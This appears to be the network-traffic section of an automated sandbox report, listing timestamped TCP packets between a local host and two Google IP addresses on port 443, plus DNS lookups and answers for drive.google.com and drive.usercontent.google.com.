Dec 5, 2024 17:07:41.987441063 CET	443	49802	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:41.987488985 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.987664938 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.987759113 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.987812042 CET	443	49802	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:51.998294115 CET	49803	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:51.998394012 CET	443	49803	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:51.998718977 CET	49803	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:51.998842001 CET	49803	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:51.998881102 CET	443	49803	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:52.265780926 CET	443	49803	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:52.266133070 CET	49803	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:52.266439915 CET	49803	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:52.266450882 CET	443	49803	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:52.266529083 CET	49803	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:52.266539097 CET	443	49803	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:52.543721914 CET	443	49803	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:52.543911934 CET	443	49803	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:52.543914080 CET	49803	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:52.544114113 CET	49803	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:52.544231892 CET	49803	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:52.544291019 CET	443	49803	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:52.563709021 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:52.563802958 CET	443	49804	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:52.563985109 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:52.564217091 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:52.564249992 CET	443	49804	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:52.835110903 CET	443	49804	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:52.835330009 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:52.835762978 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:52.835834980 CET	443	49804	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:52.835860014 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:52.835880041 CET	443	49804	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:53.139941931 CET	443	49804	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:53.140111923 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:53.140136957 CET	443	49804	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:53.140182972 CET	443	49804	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:53.140295982 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:53.140297890 CET	443	49804	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:53.140353918 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:53.140542984 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:53.140708923 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:53.140708923 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:53.140770912 CET	443	49804	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:53.140902996 CET	49804	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:03.152187109 CET	49805	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:03.152273893 CET	443	49805	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:03.152436972 CET	49805	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:03.152618885 CET	49805	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:03.152663946 CET	443	49805	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:03.423557997 CET	443	49805	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:03.423712969 CET	49805	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:03.423984051 CET	49805	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:03.424024105 CET	443	49805	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:03.424343109 CET	49805	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:03.424381971 CET	443	49805	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:03.700861931 CET	443	49805	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:03.701071024 CET	49805	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:03.701086998 CET	443	49805	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:03.701287031 CET	49805	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:03.701363087 CET	49805	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:03.701405048 CET	443	49805	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:03.714812994 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:03.714920998 CET	443	49806	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:03.715127945 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:03.715240002 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:03.715276003 CET	443	49806	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:03.996786118 CET	443	49806	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:03.997068882 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:03.997591019 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:03.997661114 CET	443	49806	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:03.997776031 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:03.997839928 CET	443	49806	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:04.330969095 CET	443	49806	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:04.331126928 CET	443	49806	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:04.331182957 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:04.331244946 CET	443	49806	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:04.331336021 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:04.331392050 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:04.331746101 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:04.331948996 CET	443	49806	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:04.332123995 CET	49806	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:14.337515116 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.337624073 CET	443	49807	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:14.337838888 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.338104010 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.338146925 CET	443	49807	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:14.610080004 CET	443	49807	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:14.610377073 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.610797882 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.610867977 CET	443	49807	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:14.610892057 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.610909939 CET	443	49807	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:14.882522106 CET	443	49807	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:14.882705927 CET	443	49807	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:14.882769108 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.882961988 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.883111000 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.883111000 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.883169889 CET	443	49807	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:14.883400917 CET	49807	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:14.897022009 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:14.897109032 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:14.897361040 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:14.897531986 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:14.897583961 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:15.171667099 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:15.171885014 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:15.171885967 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:15.173219919 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:15.173293114 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:15.174371958 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:15.174588919 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:15.174926043 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:15.218298912 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:15.488388062 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:15.488564014 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:15.488589048 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:15.488665104 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:15.488775969 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:15.488785028 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:15.488835096 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:15.488951921 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:15.489068985 CET	49808	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:15.489121914 CET	443	49808	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:25.491014004 CET	49809	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:25.491115093 CET	443	49809	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:25.491342068 CET	49809	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:25.491638899 CET	49809	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:25.491693020 CET	443	49809	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:25.764380932 CET	443	49809	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:25.764605045 CET	49809	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:25.765141010 CET	49809	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:25.765141010 CET	49809	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:25.765214920 CET	443	49809	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:25.765247107 CET	443	49809	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:26.076644897 CET	443	49809	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:26.076854944 CET	49809	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:26.076921940 CET	443	49809	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:26.077133894 CET	49809	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:26.077205896 CET	49809	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:26.077383041 CET	443	49809	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:26.077567101 CET	49809	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:26.095238924 CET	49810	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:26.095318079 CET	443	49810	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:26.095536947 CET	49810	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:26.095793009 CET	49810	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:26.095840931 CET	443	49810	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:26.366822004 CET	443	49810	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:26.367049932 CET	49810	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:26.367552996 CET	49810	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:26.367552996 CET	49810	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:26.367624044 CET	443	49810	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:26.367667913 CET	443	49810	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:26.682931900 CET	443	49810	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:26.683017015 CET	443	49810	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:26.683085918 CET	443	49810	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:26.683142900 CET	49810	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:26.683238029 CET	49810	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:26.683757067 CET	49810	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:26.683798075 CET	443	49810	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:36.691756010 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:36.691788912 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:36.691983938 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:36.692152023 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:36.692187071 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:36.963258028 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:36.963480949 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:36.963556051 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:36.965328932 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:36.965518951 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:36.966686010 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:36.966717958 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:36.967350960 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:36.967478037 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:36.967730045 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:37.010287046 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:37.238977909 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:37.239167929 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:37.239216089 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:37.239386082 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:37.239417076 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:37.239473104 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:37.239540100 CET	443	49811	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:37.239609957 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:37.239706039 CET	49811	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:37.272252083 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.272339106 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.272614002 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.272839069 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.272850990 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.541569948 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.541759968 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.542006969 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.542049885 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.542098999 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.542121887 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.847785950 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.847985029 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.848037004 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.848077059 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.848145008 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.848223925 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.848248005 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.848288059 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.848526955 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.848526955 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.848557949 CET	443	49812	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:37.848591089 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:37.848750114 CET	49812	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:47.861289978 CET	49813	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:47.861398935 CET	443	49813	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:47.861613989 CET	49813	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:47.861785889 CET	49813	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:47.861835957 CET	443	49813	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:48.128132105 CET	443	49813	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:48.128346920 CET	49813	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:48.128627062 CET	49813	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:48.128635883 CET	443	49813	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:48.128923893 CET	49813	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:48.128937006 CET	443	49813	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:48.402578115 CET	443	49813	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:48.402642965 CET	443	49813	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:48.402785063 CET	49813	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:48.403150082 CET	49813	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:48.403150082 CET	49813	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:48.403182983 CET	443	49813	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:48.403500080 CET	49813	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:48.404460907 CET	49814	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:48.404503107 CET	443	49814	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:48.404783010 CET	49814	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:48.404958963 CET	49814	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:48.404973030 CET	443	49814	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:48.673377991 CET	443	49814	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:48.673666000 CET	49814	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:48.673976898 CET	49814	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:48.674015999 CET	443	49814	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:48.674107075 CET	49814	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:48.674145937 CET	443	49814	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:48.987870932 CET	443	49814	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:48.988097906 CET	49814	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:48.988151073 CET	443	49814	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:48.988188028 CET	443	49814	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:48.988394976 CET	443	49814	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:48.988425016 CET	49814	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:48.988594055 CET	49814	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:48.988758087 CET	49814	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:48.988801003 CET	443	49814	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:58.999538898 CET	49815	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:58.999649048 CET	443	49815	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:58.999974012 CET	49815	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:59.000094891 CET	49815	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:59.000135899 CET	443	49815	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:59.280548096 CET	443	49815	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:59.280893087 CET	49815	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:59.281359911 CET	49815	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:59.281369925 CET	443	49815	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:59.281481981 CET	49815	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:59.281491995 CET	443	49815	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:59.563323975 CET	443	49815	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:59.563529968 CET	443	49815	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:59.563640118 CET	49815	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:59.563720942 CET	49815	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:59.563790083 CET	49815	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:08:59.563848972 CET	443	49815	142.250.217.238	192.168.11.20
Dec 5, 2024 17:08:59.564311981 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:59.564342022 CET	443	49816	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:59.564584017 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:59.564785004 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:59.564801931 CET	443	49816	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:59.833995104 CET	443	49816	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:59.834175110 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:59.834522009 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:59.834537029 CET	443	49816	142.250.64.193	192.168.11.20
Dec 5, 2024 17:08:59.834682941 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:08:59.834697962 CET	443	49816	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:00.154993057 CET	443	49816	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:00.155183077 CET	443	49816	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:00.155196905 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:00.155237913 CET	443	49816	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:00.155313969 CET	443	49816	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:00.155406952 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:00.155406952 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:00.155581951 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:00.155921936 CET	49816	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:00.155957937 CET	443	49816	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:10.168889046 CET	49817	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:09:10.168973923 CET	443	49817	142.250.217.238	192.168.11.20
Dec 5, 2024 17:09:10.169162035 CET	49817	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:09:10.169327974 CET	49817	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:09:10.169380903 CET	443	49817	142.250.217.238	192.168.11.20
Dec 5, 2024 17:09:10.442018032 CET	443	49817	142.250.217.238	192.168.11.20
Dec 5, 2024 17:09:10.442203045 CET	49817	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:09:10.442509890 CET	49817	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:09:10.442555904 CET	443	49817	142.250.217.238	192.168.11.20
Dec 5, 2024 17:09:10.442598104 CET	49817	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:09:10.442619085 CET	443	49817	142.250.217.238	192.168.11.20
Dec 5, 2024 17:09:10.715497017 CET	443	49817	142.250.217.238	192.168.11.20
Dec 5, 2024 17:09:10.715740919 CET	49817	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:09:10.715744972 CET	443	49817	142.250.217.238	192.168.11.20
Dec 5, 2024 17:09:10.715878010 CET	49817	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:09:10.715933084 CET	443	49817	142.250.217.238	192.168.11.20
Dec 5, 2024 17:09:10.715953112 CET	49817	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:09:10.716092110 CET	49817	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:09:10.716223001 CET	49818	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:10.716296911 CET	443	49818	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:10.716500044 CET	49818	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:10.716617107 CET	49818	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:10.716650963 CET	443	49818	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:10.982760906 CET	443	49818	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:10.982960939 CET	49818	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:10.983258009 CET	49818	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:10.983273983 CET	443	49818	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:10.983553886 CET	49818	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:10.983575106 CET	443	49818	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:11.302784920 CET	443	49818	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:11.302938938 CET	443	49818	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:11.302962065 CET	49818	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:11.302980900 CET	443	49818	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:11.302997112 CET	443	49818	142.250.64.193	192.168.11.20
Dec 5, 2024 17:09:11.303189993 CET	49818	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:11.303462029 CET	49818	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:09:11.303519011 CET	443	49818	142.250.64.193	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 17:03:00.590044022 CET	62604	53	192.168.11.20	1.1.1.1
Dec 5, 2024 17:03:00.715198040 CET	53	62604	1.1.1.1	192.168.11.20
Dec 5, 2024 17:03:01.309020996 CET	61091	53	192.168.11.20	1.1.1.1
Dec 5, 2024 17:03:01.438091040 CET	53	61091	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 5, 2024 17:03:00.590044022 CET	192.168.11.20	1.1.1.1	0x6af5	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 17:03:01.309020996 CET	192.168.11.20	1.1.1.1	0xf573	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 5, 2024 17:03:00.715198040 CET	1.1.1.1	192.168.11.20	0x6af5	No error (0)	drive.google.com		142.250.217.238	A (IP address)	IN (0x0001)	false
Dec 5, 2024 17:03:01.438091040 CET	1.1.1.1	192.168.11.20	0xf573	No error (0)	drive.usercontent.google.com		142.250.64.193	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
